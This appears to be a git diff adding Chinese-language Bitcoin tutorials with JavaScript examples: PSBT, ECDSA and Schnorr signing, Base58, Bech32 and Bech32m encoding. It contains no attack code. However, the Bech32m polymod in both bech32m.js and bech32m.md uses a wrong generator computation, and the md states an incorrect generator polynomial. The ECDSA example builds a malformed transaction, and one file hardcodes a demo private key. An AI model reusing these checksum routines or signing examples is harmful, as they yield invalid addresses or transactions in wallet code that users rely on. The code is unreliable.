+const ECPair = ECPairFactory(tinysecp);
+
+// Get keyPair from WIF
+const keyPair = ECPair.fromWIF('L2uPYXe17xSTqbCjZvL2DsyXPCbXspvcu5mHLDYUgzdUbZGSKrSr');
+
+// Create a new PSBT with the first input of the transaction
+let psbt = new bitcoin.Psbt()
+  .addInput({
+    hash: '7d067b4a697a09d2c3cff7d4d9506c9955e93bff41bf82d439da7d030382bc3e',
+    index: 0,
+    nonWitnessUtxo: Buffer.from(
+      '0200000001f9f34e95b9d5c8abcd20fc5bd4a825d1517be62f0f775e5f36da944d9' +
+        '452e550000000006b483045022100c86e9a111afc90f64b4904bd609e9eaed80d48' +
+        'ca17c162b1aca0a788ac3526f002207bb79b60d4fc6526329bf18a77135dc566020' +
+        '9e761da46e1c2f1152ec013215801210211755115eabf846720f5cb18f248666fec' +
+        '631e5e1e66009ce3710ceea5b1ad13ffffffff01905f0100000000001976a9148bb' +
+        'c95d2709c71607c60ee3f097c1217482f518d88ac00000000',
+      'hex'
+    ),
+  })
+  .addOutput({
+    address: '1KRMKfeZcmosxALVYESdPNez1AP1mEtywp',
+    value: 80000,
+  });
+
+// Sign the first input with the key
+psbt.signInput(0, keyPair);
+
+// Finalize the inputs
+psbt.finalizeAllInputs();
+
+// Extract the transaction
+const rawTx = psbt.extractTransaction().toHex();
+
+// Print the transaction
+console.log(`Raw Transaction: ${rawTx}`);
diff --git a/BTC/Basic/signature/ecdsaTransaction.js b/BTC/Basic/signature/ecdsaTransaction.js
new file mode 100644
index 000000000..15359e2ba
--- /dev/null
+++ b/BTC/Basic/signature/ecdsaTransaction.js
@@ -0,0 +1,42 @@
+import ecpair from 'ecpair';
+import * as tinysecp from 'tiny-secp256k1';
+import bitcoin from 'bitcoinjs-lib';
+
+/// In this example, We create a new private key and its corresponding public key.
+/// We then construct a transaction with one input (which you're spending) and one output (where you're sending bitcoins).
+/// The transaction is signed using the private key.
+/// Finally, we build the transaction and print its hexadecimal representation.
+
+const { ECPairFactory } = ecpair;
+const ECPair = ECPairFactory(tinysecp);
+
+// Securely generate and store the private key. Here, we use a randomly generated private key for demonstration.
+const keyPair = ECPair.makeRandom();
+const { address } = bitcoin.payments.p2pkh({ pubkey: keyPair.publicKey });
+const privateKey = keyPair.privateKey.toString('hex');
+
+console.log(`Address: ${address}`);
+console.log(`Private Key: ${privateKey}`);
+
+// Replace the following with a real transaction hash and the corresponding index of the output you want to spend.
+const txHash = Buffer.from('c8c5b5a17a07c7cecdbdece070843fb074ae039400a26c27861927dab26631b5', 'hex'); // This should be a real transaction hash
+const txId = 1; // Typically 0 or 1
+
+// Create a new transaction builder
+const transaction = new bitcoin.Transaction();
+
+// Add the input (the transaction hash and index)
+transaction.addInput(txHash, txId);
+
+// Add the output (recipient address and amount in satoshis)
+transaction.addOutput(Buffer.alloc(0), 10000); // The amount you want to send, in satoshis
+
+// Sign the transaction with the private key of the input
+const hash = transaction.hashForSignature(0, Buffer.from('001494fea8dd42d30e583fdf39537fb7e2ee0533e6b7', 'hex'), 0);
+const signature = keyPair.sign(hash);
+transaction.setInputScript(0, bitcoin.script.compile([signature, keyPair.publicKey]));
+
+// Build the transaction and get its hex representation
+const tx = transaction.toHex();
+
+console.log(`Transaction: ${tx}`);
diff --git a/BTC/Basic/signature/package.json b/BTC/Basic/signature/package.json
new file mode 100644
index 000000000..bf4ec8502
--- /dev/null
+++ b/BTC/Basic/signature/package.json
@@ -0,0 +1,17 @@
+{
+  "name": "btc-wallet",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "type": "module",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "bitcoinjs-lib": "^6.1.5",
+    "ecpair": "^2.1.0",
+    "tiny-secp256k1": "^2.2.3"
+  }
+}
diff --git a/BTC/Basic/signature/schnorr.js b/BTC/Basic/signature/schnorr.js
new file mode 100644
index 000000000..e6f24db93
--- /dev/null
+++ b/BTC/Basic/signature/schnorr.js
@@ -0,0 +1,30 @@
+import ecpair from 'ecpair';
+import * as tinysecp from 'tiny-secp256k1';
+import crypto from 'crypto';
+
+/// In this example, we first generate a new private key and corresponding public key.
+/// We create a dummy transaction hash. In a real scenario, this would be the hash of your transaction data.
+/// We generate a Schnorr signature using the private key and the transaction hash.
+/// Finally, we verify that the signature is valid.
+
+const { ECPairFactory } = ecpair;
+const ECPair = ECPairFactory(tinysecp);
+
+// Generate a new random private key
+const keyPair = ECPair.makeRandom();
+const privateKey = keyPair.privateKey;
+const publicKey = keyPair.publicKey;
+
+console.log('private key:', privateKey.toString('hex'));
+console.log('public key:', publicKey.toString('hex'));
+
+// Create a hypothetical transaction hash, usually this will be the hash of the real transaction you want to sign
+const txHash = crypto.randomBytes(32);
+
+// signature transaction
+const signature = keyPair.signSchnorr(txHash);
+console.log('Schnorr Signature:', signature.toString('hex'));
+
+// verify transaction
+const isValid = keyPair.verifySchnorr(txHash, signature);
+console.log('signature is valid:', isValid);
diff --git a/BTC/Basic/tools/README.md b/BTC/Basic/tools/README.md
new file mode 100644
index 000000000..d0668975e
--- /dev/null
+++ b/BTC/Basic/tools/README.md
@@ -0,0 +1,26 @@
+# BTC工具目录
+
+欢迎访问比特币工具目录！随着比特币和其他加密货币的流行，对于普通用户而言，理解其背后的技术变得越来越重要。本目录旨在提供一系列易于使用的工具，帮助您深入了解比特币的基本原理、操作和技术细节。
+
+
+## 可用工具
+
+### [dust计算](./dust.md)
+
+- **描述**：在比特币网络中，“尘埃”（Dust）是一个专有术语，它指的是一种非常小的比特币金额，这种金额小到它的交易费用可能会超过这笔金额本身的价值。因此，从经济角度来看，发送这样一笔交易是不划算的。
+- **影响**：尘埃限制的存在主要是为了防止网络被大量的微小交易所拥堵，这些交易可能是无效的或试图进行“尘埃攻击”（发送大量的小额交易到多个地址，以试图追踪这些地址的所有者）。因此，比特币网络通过设置尘埃限制来保护网络不被这种小额交易滥用。
+
+### [base58 编码/解码](./base58.md)
+
+- **描述**：Base58是一种二进制到文本的编码方式，主要用于编码比特币地址。
+- **使用方法**：Base58编码主要用于生成人类可读的公钥哈希（即比特币地址）和私钥的可导入格式。这样的格式不仅容易被人识别和处理，也方便在不同的应用和服务之间进行交易和管理。
+
+### [Bech32 编码/解码](./bech32.md)
+
+- **描述**：Bech32 是一种字符编码方案，设计用于提高比特币地址的可读性和纠错能力。它是一种人类可读的编码方式，主要用于比特币隔离见证（SegWit）地址的表示。
+- **使用方法**：Bech32 编码用于生成比特币隔离见证地址（例如，P2WPKH 和 P2WSH 地址）。它采用了一个包含 32 个字符的字符集，使得地址既易于手动输入，又具有较强的错误检测能力。Bech32 地址以“bc1”开头，后跟若干字符，提供了更高的错误检测能力和更好的用户体验。
+
+### [Bech32m 编码/解码](./bech32m.md)
+
+- **描述**：Bech32m 是 Bech32 的一种变体，专门用于 Taproot 地址的编码。它与 Bech32 在结构上类似，但引入了不同的错误检测机制，以增强对 Taproot 地址的支持。
+- **使用方法**：Bech32m 编码用于生成 Taproot 地址，这种地址以“bc1p”开头。Bech32m 提供了改进的错误检测能力，适合用于 Taproot 地址的使用。它在 Bech32 基础上增加了一些功能，确保 Taproot 地址具有更好的数据完整性和错误校验能力。
\ No newline at end of file
diff --git a/BTC/Basic/tools/base58.md b/BTC/Basic/tools/base58.md
new file mode 100644
index 000000000..f84aeb825
--- /dev/null
+++ b/BTC/Basic/tools/base58.md
@@ -0,0 +1,91 @@
+Base58 是一种用于将大数字转换为可读的文本格式的编码方案，广泛用于比特币以及其他多种加密货币的地址。与常见的 Base64 编码类似，Base58 是一种二进制到文本的编码，设计它的主要目的是为了减少混淆并增加地址的可读性。
+
+### 特点
+
+Base58 编码具有几个显著的特点，使其适合用于加密货币地址：
+
+1. **去除视觉上易混淆的字符**：Base58编码不使用数字"0"，大写字母"O"，大写字母"I"，和小写字母"l"，因为这些字符在视觉上容易与其他字符混淆。
+2. **无标点符号**：Base58不包含标点符号，这减少了在抄写或读取地址时出错的可能性。
+3. **编码效率**：Base58 编码是紧凑的，它使得编码的数据相对较短，便于分享和书写。
+4. **大小写敏感**：Base58是大小写敏感的，增加了编码的字符集，从而提高了每个字符的信息容量。
+
+### Base58 字符集
+
+Base58使用以下58个字符作为其字母表：
+
+```
+123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz
+```
+
+注意这里没有0, O, I, l，这是为了避免在读写时的混淆。
+
+### 应用
+
+在比特币和许多其他加密货币中，Base58编码主要用于生成人类可读的公钥哈希（即比特币地址）和私钥的可导入格式。这样的格式不仅容易被人识别和处理，也方便在不同的应用和服务之间进行交易和管理。
+
+### 技术实现
+
+Base58 编码涉及将大整数转换为一种基于58的数制系统。编码过程通常包括以下步骤：
+
+1. 将初始数据（例如，比特币地址的哈希值）转换为一个大整数。
+2. 将这个大整数重复除以58，同时记录每次除法的余数。
+3. 将余数用对应的Base58字符表示，直到整数部分为0。
+4. 将结果的字符反转，因为在计算过程中，第一个余数实际上对应最后一个Base58字符。
+
+### 示例
+
+##### 编码
+
+```js
+base10 = 123456789
+
+123456789 % 58 = 19 <- remainder
+  2128565 % 58 = 23 <- remainder
+    36699 % 58 = 43 <- remainder
+      632 % 58 = 52 <- remainder
+       10 % 58 = 10 <- remainder
+
+base58 = [10][52][43][23][19]
+base58 = BukQL
+```
+
+#### 解码
+
+```js
+base58 = BukQL
+
+L = 19 * 58^0 = 19
+Q = 23 * 58^1 = 1334
+k = 43 * 58^2 = 144652
+u = 52 * 58^3 = 10145824
+B = 10 * 58^4 = 113164960
+
+base10 = 19 + 1334 + 144652 + 10145824 + 113164960
+base10 = 123456789
+```
+
+### BTC中的应用
+
+Base58 最初仅用于对BTC地址进行编码，在后来引入 WIF 私钥和扩展密钥时也使用Base58编码。
+
+#### 前缀
+
+在比特币中，在转换为 base58 之前，会向数据添加不同的前缀以影响结果的前导字符，这个前导字符有助于我们识别每个 base58 字符串代表什么。
+
+| Hex Prefix | Base58首字符 | 类型         | 示例      |
+| ---------- | ------------ | ------------ | --------- |
+| 00         | 1            | 地址 (P2PKH) | 1mGqBH... |
+| 05         | 3            | 地址 (P2SH)  | 3JiUY4... |
+| 80         | K, L, 或 5   | WIF私钥      | Lu38mr... |
+| 0488ADE4   | xprv         | 扩展私钥     | xprv9t... |
+| 0488B21E   | xpub         | 扩展公钥     | xpub67... |
+
+#### base58 check
+
+Base58Check 编码是将某些数据编码为 base58 之前向某些数据添加校验和的缩写。
+
+在BTC的base58编码时
+
+1. 首先会对原始数据增加对应的prefix
+2. 对上述结果执行两次SHA-256，取前四个字节做checkSum
+3. 连接1和2的结果进行base58编码
diff --git a/BTC/Basic/tools/bech32.md b/BTC/Basic/tools/bech32.md
new file mode 100644
index 000000000..74d733b46
--- /dev/null
+++ b/BTC/Basic/tools/bech32.md
@@ -0,0 +1,193 @@
+Bech32是一种编码格式，最初由Pieter Wuille等人在比特币改进提案[BIP 173](https://github.com/bitcoin/bips/blob/master/bip-0173.mediawiki)中提出，主要用于比特币SegWit地址的编码方式。Bech32编码的目的是提供一种更友好的用户界面，并减少在抄写和输入时出现错误的风险。
+
+### 核心特性
+
+**1. 错误检测能力：**
+Bech32地址包含一种错误检测代码，称为多项式校验码（PolyMod），可以检测并保护地址中最多4个错误的出现。
+
+**2. 字符集：**
+Bech32只使用小写字母和数字（除了1、b、i、o之外的小写字母和所有数字），从而避免了字母大小写的混淆和某些字母和数字之间的视觉相似性。
+
+**3. 限制长度：**
+一个Bech32编码的地址总是有一定的长度限制，比特币的SegWit地址最长为90个字符。
+
+**4. 分隔符：**
+Bech32地址中使用"1"作为分隔符来分开人类可读的部分（HRP，Human-readable part）和数据部分。
+
+### 编码格式
+
+Bech32地址的结构如下：
+
+\[ \text{HRP} + "1" + \text{数据编码} + \text{校验码} \]
+
+- **HRP（Human-readable part）：** 这部分是地址的前缀，用来指示地址所用的网络，例如比特币主网的`bc`和测试网的`tb`。
+- **数据编码：** 使用的是一种叫做Base32的变种编码，将数据转换成32个字符集中的字符。
+- **校验码：** 是一组校验码字符，用于保护整个地址不受随机错误的影响。
+
+Bech32是一种用于编码和解码比特币SegWit地址的格式，具体方法由[BIP 173](https://github.com/bitcoin/bips/blob/master/bip-0173.mediawiki)定义。编码和解码过程涉及多个步骤，包括数据的处理、转换以及校验。
+
+在实际项目中可以使用JavaScript的常用库bech32实现的Bech32编码和解码。  
+**Bech32编码示例**
+
+```js
+const bech32 = require('bech32');
+
+function encodeBech32(hrp, data) {
+  const words = bech32.toWords(Buffer.from(data));
+  return bech32.encode(hrp, words);
+}
+
+// 示例使用
+let hrp = 'bc';
+let data = '00112233445566778899aabbccddeeff'; // 假设这是要编码的数据
+let encoded = encodeBech32(hrp, data);
+console.log('Encoded Bech32:', encoded);
+```
+
+**Bech32解码示例**
+
+```js
+function decodeBech32(address) {
+  let decoded = bech32.decode(address);
+  decoded.data = Buffer.from(bech32.fromWords(decoded.words)).toString('hex');
+  return decoded;
+}
+
+// 使用之前编码的地址进行解码
+let decoded = decodeBech32(encoded);
+console.log('Decoded Bech32:', decoded);
+```
+
+### Bech32编码过程
+
+编码过程涉及以下步骤：
+
+1. **确定人类可读部分（HRP）和数据部分：**
+
+   - HRP表示网络，比如比特币主网的`bc`，测试网的`tb`。
+   - 数据部分包含经过编码的公钥或脚本哈希。
+
+2. **将数据部分从8位字节转换为5位数组：**
+
+   - Bech32使用Base32编码，这不同于传统的Base32。数据需要从其原始的8位字节形式（如在二进制文件中）转换为5位字节的数组。这种转换减少了数据的比特长度，并允许整个地址适应QR码等格式。
+
+3. **计算校验码：**
+
+   - 使用`PolyMod`算法计算出一个校验码，该算法可以提供错误检测功能。校验码计算依赖于HRP和转换后的数据。
+   - 校验码有助于保护整个地址不受随机错误的影响。
+
+4. **组合最终的Bech32地址：**
+   - 最终的Bech32地址由三部分组成：HRP、分隔符（`1`）、编码后的数据和校验码。
+   - 示例：`bc1qw508d6qejxtdg4y5r3zarvary0c5xw7kv8f3t4`
+
+### Bech32解码过程
+
+解码过程涉及以下步骤：
+
+1. **验证地址的校验码：**
+
+   - 使用相同的`PolyMod`算法验证地址中的校验码是否正确。如果校验失败，则地址有错误。
+
+2. **分离HRP和编码数据：**
+
+   - 从地址中分离出HRP和编码后的数据部分。这两部分由分隔符`1`分开。
+
+3. **从5位数组转换回8位字节：**
+
+   - 将从Bech32地址中提取的5位数组数据转换回原始的8位字节形式。这通常涉及二进制数据的重新分组。
+
+4. **解析数据部分以获取原始的哈希或密钥信息：**
+   - 解码后的数据通常是某种形式的哈希值或公钥信息，这取决于具体的应用场景（如P2WPKH或P2WSH）。
+
+`PolyMod`是一种特别设计用于Bech32编码系统中的多项式模运算算法。在Bech32地址格式中，`PolyMod`算法用于生成一个校验码，该校验码具有高错误检测能力，能够帮助确认地址在传输或书写过程中是否被错误修改。此算法是Bech32提案（BIP 173）的核心部分，对于保证地址的完整性和准确性至关重要。
+
+### PolyMod算法的作用
+
+在Bech32中，`PolyMod`算法的主要作用是计算一个校验码，这个校验码能够：
+
+- 检测到任何单一的错误。
+- 检测到任何相邻字符的交换。
+- 检测到最多四个错误的错误组合。
+
+### PolyMod算法的实现步骤
+
+`PolyMod`算法的计算可以分为以下几个步骤：
+
+1. **初始化**：设置一个初始变量`c`为1。
+
+2. **处理HRP**：对于HRP（人类可读部分）中的每个字符，进行以下操作：
+
+   - 将`c`向右移动5位。
+   - 将字符的值与`c`进行异或（XOR）运算。
+   - 对`c`进行一系列的模2多项式运算，通常这涉及到与几个固定的常数进行XOR运算，这些常数由Bech32规范定义。
+
+3. **处理数据部分**：类似地处理数据部分中的每个5位值，包括：
+
+   - 将`c`向右移动5位。
+   - 将数据值与`c`进行异或运算。
+   - 对`c`进行类似上述的模2多项式运算。
+
+4. **生成校验码**：完成所有字符的处理后，将`c`与一个常数进行XOR运算，得到最终的校验码。这一步确保了校验码能够有效地反映整个地址的完整性。
+
+** 示例代码 **
+
+```js
+function polymod(values) {
+  let generator = [0x3b6a57b2, 0x26508e6d, 0x1ea119fa, 0x3d4233dd, 0x2a1462b3];
+  let chk = 1;
+  for (let value of values) {
+    let top = chk >> 25;
+    chk = ((chk & 0x1ffffff) << 5) ^ value;
+    for (let i = 0; i < 5; i++) {
+      if ((top >> i) & 1) {
+        chk ^= generator[i];
+      }
+    }
+  }
+  return chk;
+}
+
+function hrpExpand(hrp) {
+  let ret = [];
+  for (let p = 0; p < hrp.length; p++) {
+    ret.push(hrp.charCodeAt(p) >> 5);
+  }
+  ret.push(0);
+  for (let p = 0; p < hrp.length; p++) {
+    ret.push(hrp.charCodeAt(p) & 31);
+  }
+  return ret;
+}
+
+function createChecksum(hrp, data) {
+  const values = hrpExpand(hrp).concat(data).concat([0, 0, 0, 0, 0, 0]);
+  const polymodValue = polymod(values) ^ 1;
+  let checksum = [];
+  for (let i = 0; i < 6; i++) {
+    checksum.push((polymodValue >> (5 * (5 - i))) & 31);
+  }
+  return checksum;
+}
+
+// Example usage
+let hrp = 'bc';
+let data = [2, 3, 4, 5, 6]; // Example data part (this should be your actual converted data)
+let checksum = createChecksum(hrp, data);
+console.log('Checksum:', checksum);
+```
+
+### 数学原理
+
+`PolyMod`算法本质上是一个使用特定生成多项式的循环冗余校验（CRC）算法。这个生成多项式是经过选择的，能够最大化常见错误模式的检测能力，例如拼写错误、字符遗漏、错误插入等。
+
+### 使用场景
+
+Bech32地址主要用于比特币的SegWit交易，其中包括了P2WPKH（Pay to Witness Public Key Hash）和P2WSH（Pay to Witness Script Hash）类型的地址。这些地址类型通过减少交易大小来降低交易费用，同时提高交易的隐私性和效率。
+
+### 优点
+
+- **更高的错误检测能力：** Bech32的设计提供了强大的错误检测和纠正能力。
+- **用户友好：** 地址全小写，易于阅读和抄写。
+- **效率与兼容性：** 地址长度更短，适用于QR码等多种场景。
+
+Bech32编码为比特币地址提供了一个更加安全和用户友好的格式，是比特币网络中SegWit技术的一个重要组成部分。
diff --git a/BTC/Basic/tools/bech32m.js b/BTC/Basic/tools/bech32m.js
new file mode 100644
index 000000000..be7fd7e5e
--- /dev/null
+++ b/BTC/Basic/tools/bech32m.js
@@ -0,0 +1,121 @@
+const CHARSET = 'qpzry9x8gf2tvdw0s3jn54khce6mua7l';
+
+// 将字符转换为数值
+function charToValue(char) {
+  const index = CHARSET.indexOf(char);
+  if (index === -1) {
+    throw new Error('Invalid character');
+  }
+  return index;
+}
+
+// 将数值转换为字符
+function valueToChar(value) {
+  return CHARSET[value];
+}
+
+// 多项式模数计算 Bech32 校验和
+function polymod(values) {
+  let checksum = 1;
+  for (let value of values) {
+    const top = checksum >> 25;
+    checksum = ((checksum & 0x1ffffff) << 5) ^ value;
+    for (let i = 0; i < 5; i++) {
+      if ((top >> i) & 1) {
+        checksum ^= (0x3b6a57b2 >> (5 * i)) & 0x1ffffff;
+      }
+    }
+  }
+  return checksum;
+}
+
+// 扩展人类可读部分（HRP, Human-Readable Part）以帮助计算校验和
+function hrpExpand(hrp) {
+  const ret = [];
+  // 先将每个字符转换为其ASCII码除以32的余数
+  for (let i = 0; i < hrp.length; i++) {
+    ret.push(hrp.charCodeAt(i) >> 5);
+  }
+  // 添加分隔符
+  ret.push(0);
+  // 再将每个字符转换为其ASCII码的低5位
+  for (let i = 0; i < hrp.length; i++) {
+    ret.push(hrp.charCodeAt(i) & 31);
+  }
+  return ret;
+}
+
+// 计算校验和的最终值（Bech32m）
+function createChecksum(hrp, data) {
+  const values = hrpExpand(hrp).concat(data).concat([0, 0, 0, 0, 0, 0]);
+  const polymodValue = polymod(values) ^ 0x2bc830a3; // Bech32m 标识多项式
+  let result = [];
+  for (let i = 0; i < 6; ++i) {
+    result.push((polymodValue >> (5 * (5 - i))) & 31);
+  }
+  return result;
+}
+
+// 验证校验和
+function verifyChecksum(hrp, data) {
+  const expandedHrp = hrpExpand(hrp);
+  const values = expandedHrp.concat(data);
+  return polymod(values) === 0x2bc830a3; // 对于 Bech32, 有效校验和会返回1, 对于 Bech32m 需要验证不同的常量
+}
+
+function convertBits(data, fromBits, toBits, pad = true) {
+  let acc = 0;
+  let bits = 0;
+  const ret = [];
+  const maxv = (1 << toBits) - 1;
+  for (let i = 0; i < data.length; ++i) {
+    let value = data[i];
+    if (value < 0 || value >> fromBits !== 0) {
+      return null;
+    }
+    acc = (acc << fromBits) | value;
+    bits += fromBits;
+    while (bits >= toBits) {
+      bits -= toBits;
+      ret.push((acc >> bits) & maxv);
+    }
+  }
+  if (pad) {
+    if (bits > 0) {
+      ret.push((acc << (toBits - bits)) & maxv);
+    }
+  } else if (bits >= fromBits || (acc << (toBits - bits)) & maxv) {
+    return null;
+  }
+  return ret;
+}
+
+function encodeBech32m(hrp, data) {
+  const combined = data.concat(createChecksum(hrp, data));
+  let result = hrp + '1';
+  for (let datum of combined) {
+    result += valueToChar(datum);
+  }
+  return result;
+}
+
+function decodeBech32m(bech32mStr) {
+  const pos = bech32mStr.lastIndexOf('1');
+  const hrp = bech32mStr.slice(0, pos);
+  const data = [];
+  for (let i = pos + 1; i < bech32mStr.length; ++i) {
+    data.push(charToValue(bech32mStr[i]));
+  }
+  if (!verifyChecksum(hrp, data)) {
+    throw new Error('Invalid checksum');
+  }
+  return { hrp, data: data.slice(0, data.length - 6) };
+}
+
+const hrp = 'bc';
+const data = [15, 2, 20, 3, 5, 18]; // 随机示例数据
+const encoded = encodeBech32m(hrp, data);
+console.log('Encoded:', encoded);
+
+const decoded = decodeBech32m(encoded);
+console.log('Decoded:', decoded);
diff --git a/BTC/Basic/tools/bech32m.md b/BTC/Basic/tools/bech32m.md
new file mode 100644
index 000000000..7962fb6e9
--- /dev/null
+++ b/BTC/Basic/tools/bech32m.md
@@ -0,0 +1,325 @@
+# Bech32m
+
+`Bech32m` 是一种新的编码格式，用于比特币地址。它是 `Bech32` 格式的修改版本，主要用于支持 SegWit v1+ 的比特币地址（例如 Taproot 地址）。`Bech32m` 是为了解决原始 `Bech32` 编码中发现的一个错误而被提出和实现的。
+
+## 简介
+
+### 背景
+
+`Bech32` 格式最初是在 [BIP 173](https://github.com/bitcoin/bips/blob/master/bip-0173.mediawiki) 中提出的，用于编码 SegWit（隔离见证）地址，这种格式的地址以 `bc1` 开头。然而，当 `Bech32` 用于新的 SegWit 版本时（即版本1及以上），由于错误检测机制存在问题，导致部分无效地址不会被正确地检测出来。
+
+### Bech32m 的改进
+
+为了解决这个问题，[BIP 350](https://github.com/bitcoin/bips/blob/master/bip-0350.mediawiki) 提出了 `Bech32m`，这是一个修改后的 `Bech32` 格式。它引入了一个新的校验和算法，提高了错误检测的能力，特别是适用于 SegWit v1 及更高版本的地址。这确保了编码的健壮性和安全性，尤其是在处理高版本的 SegWit 地址时。
+
+### Bech32 与 Bech32m 的区别
+
+主要区别在于校验和的计算方式。`Bech32` 使用的是一个固定的常数，而 `Bech32m` 使用了一个不同的常数来计算校验和。这一改变使得 `Bech32m` 能够更有效地捕捉到一些特定的错误，这些错误在原始的 `Bech32` 格式中可能无法检测到。
+
+| 特性                 | Bech32m                      | Bech32                           | Base58                         |
+| -------------------- | ---------------------------- | -------------------------------- | ------------------------------ |
+| **描述**             | 改进的 SegWit 地址格式       | SegWit 地址格式                  | 传统的比特币地址格式           |
+| **BIP**              | BIP 350                      | BIP 173                          | 无特定BIP，但参考 BIP 13/16    |
+| **错误检测**         | 改进的错误检测能力           | 强错误检测能力                   | 较弱的错误检测能力             |
+| **字符集**           | 32字符集，不包括易混淆字符   | 32字符集，不包括易混淆字符       | 58字符集                       |
+| **地址前缀**         | `bc1p`                       | `bc1`                            | `1` 或 `3`                     |
+| **用途**             | 支持 SegWit v1+ (如 Taproot) | 支持 SegWit v0 (P2WPKH 和 P2WSH) | 非 SegWit 和 SegWit P2SH       |
+| **校验和算法**       | 修改的贝奇校验和算法         | 贝奇校验和算法                   | Base58Check                    |
+| **可读性和可扫描性** | 同 Bech32                    | 更优的可读性和较低的打字错误率   | 较低的可读性和较高的打字错误率 |
+| **推广程度**         | Taproot更新后推广            | SegWit 地址的标准格式            | 比特币早期广泛使用             |
+
+### 格式和使用
+
+- **格式**：`Bech32m` 地址的格式与 `Bech32` 相似，地址以 `bc1` 开头，随后是一个版本指示符，然后是编码的数据。
+- **使用**：自从 Bitcoin Core 0.21.1 版本开始支持 `Bech32m` 格式后，它被用于 Taproot 地址（即以 `bc1p` 开头的地址）。
+
+## 编解码
+
+在 JavaScript 中，使用 `bech32` 库来处理 `Bech32m` 的编码和解码同样非常直接。首先，你需要安装 `bech32` 库，它支持在 Node.js 环境中执行 `Bech32` 和 `Bech32m` 相关操作。
+
+### 安装 `bech32` 库
+
+在你的 Node.js 项目中，你可以通过 npm 或 yarn 来安装这个库：
+
+```bash
+npm install bech32
+# 或者
+yarn add bech32
+```
+
+### 编码示例
+
+下面是如何将一组数据编码为 `Bech32m` 格式的示例：
+
+```javascript
+const bech32 = require('bech32');
+
+function encodeBech32m(data, hrp = 'bc') {
+  // 将数据从8位字节数组转换为5位数组
+  const words = bech32.toWords(Buffer.from(data));
+
+  // 使用 bech32m 规范进行编码
+  return bech32.encode(hrp, words, bech32.encodings.BECH32M);
+}
+
+// 示例数据
+const data = [0x01, 0x02, 0x03, 0x04, 0x05];
+
+// 编码
+const encoded = encodeBech32m(data);
+console.log('Encoded Bech32m:', encoded);
+```
+
+### 解码示例
+
+接下来是如何解码 `Bech32m` 格式的数据：
+
+```javascript
+function decodeBech32m(bech32mStr) {
+  const decoded = bech32.decode(bech32mStr, bech32.encodings.BECH32M);
+
+  // 将5位数组转换回8位字节
+  const bytes = Buffer.from(bech32.fromWords(decoded.words));
+
+  return {
+    hrp: decoded.prefix,
+    data: bytes,
+  };
+}
+
+// 使用上面的编码结果进行解码
+const decoded = decodeBech32m(encoded);
+console.log('Decoded data:', decoded.data);
+```
+
+## 编解码步骤
+
+为了更深入理解 `Bech32m` 的编解码过程，让我们详细探讨其背后的数学和逻辑步骤。这种编码方式旨在提供更强的错误检测能力，并针对地址等用途进行优化。
+
+### 核心组件和步骤
+
+`Bech32m` 编解码涉及以下核心组件：
+
+1. **人类可读部分 (HRP)**：明确标识相关数据或网络的简短字符序列。
+2. **数据部分**：包括实际有效载荷和错误检测代码。
+3. **校验和算法**：生成和验证整个字符串的完整性。
+
+### 编码过程
+
+#### 1. 数据准备
+
+将需要编码的数据（如公钥哈希）转换成一系列5位的数值，这是因为 `Bech32m` 的字符集能够表示从0到31的值，相比于完整的8位二进制表示，这种方式允许数据更有效地匹配到字符集。
+
+**转换方法**：使用转换函数（如 `toWords`），将每个字节按位重新组合，从8位分组转换成5位分组。
+
+#### 2. 计算校验和
+
+`Bech32m` 使用一种多项式校验和算法，以确保传输的数据在传播过程中没有发生错误。这一算法基于BCH码，具体步骤如下：
+
+- **多项式定义**：使用特定的生成多项式进行计算，该多项式在设计时就考虑了捕获常见传输错误的需求。
+- **校验和的生成**：将HRP和数据部分一起，通过多项式算法生成一个32位的校验和。
+
+#### 3. 结合数据
+
+将转换后的数据与校验和结合，准备进行字符映射。
+
+#### 4. 字符映射
+
+使用 `Bech32m` 指定的字符集将数值转换为对应的字符，生成最终的编码字符串。字符集是一组32个字符，每个字符对应一个从0到31的值。
+
+### 解码过程
+
+解码是编码的逆过程，主要包括以下步骤：
+
+#### 1. 分离和验证
+
+将输入的 `Bech32m` 字符串分解为HRP、数据部分和校验和。验证校验和以确认数据在传输过程中未被篡改或错误输入。
+
+#### 2. 字符到数值的映射
+
+将接收到的字符序列映射回相应的5位数值序列。
+
+#### 3. 数据恢复
+
+使用相同的位转换逻辑（反向操作 `fromWords`），将5位数值序列还原为原始的8位字节序列。
+
+#### 4. 最终输出
+
+提取数据，剔除校验和，返回原始数据和HRP。
+
+## 拆解实现
+
+### 1. 基础组件
+
+首先，我们需要实现一些基础函数，包括多项式校验和计算和数据转换。
+
+#### 多项式校验和
+
+`Bech32m` 使用的多项式为 `x^5 + x^4 + x^3 + x^2 + 1`，我们需要一个函数来计算校验和：
+
+```javascript
+const CHARSET = 'qpzry9x8gf2tvdw0s3jn54khce6mua7l';
+
+// 将字符转换为数值
+function charToValue(char) {
+  const index = CHARSET.indexOf(char);
+  if (index === -1) {
+    throw new Error('Invalid character');
+  }
+  return index;
+}
+
+// 将数值转换为字符
+function valueToChar(value) {
+  return CHARSET[value];
+}
+
+// 多项式模数计算 Bech32 校验和
+function polymod(values) {
+  let checksum = 1;
+  for (let value of values) {
+    const top = checksum >> 25;
+    checksum = ((checksum & 0x1ffffff) << 5) ^ value;
+    for (let i = 0; i < 5; i++) {
+      if ((top >> i) & 1) {
+        checksum ^= (0x3b6a57b2 >> (5 * i)) & 0x1ffffff;
+      }
+    }
+  }
+  return checksum;
+}
+
+// 扩展人类可读部分（HRP, Human-Readable Part）以帮助计算校验和
+function hrpExpand(hrp) {
+  const ret = [];
+  // 先将每个字符转换为其ASCII码除以32的余数
+  for (let i = 0; i < hrp.length; i++) {
+    ret.push(hrp.charCodeAt(i) >> 5);
+  }
+  // 添加分隔符
+  ret.push(0);
+  // 再将每个字符转换为其ASCII码的低5位
+  for (let i = 0; i < hrp.length; i++) {
+    ret.push(hrp.charCodeAt(i) & 31);
+  }
+  return ret;
+}
+
+// 计算校验和的最终值（Bech32m）
+function createChecksum(hrp, data) {
+  const values = hrpExpand(hrp).concat(data).concat([0, 0, 0, 0, 0, 0]);
+  const polymodValue = polymod(values) ^ 0x2bc830a3; // Bech32m 标识多项式
+  let result = [];
+  for (let i = 0; i < 6; ++i) {
+    result.push((polymodValue >> (5 * (5 - i))) & 31);
+  }
+  return result;
+}
+
+// 验证校验和
+function verifyChecksum(hrp, data) {
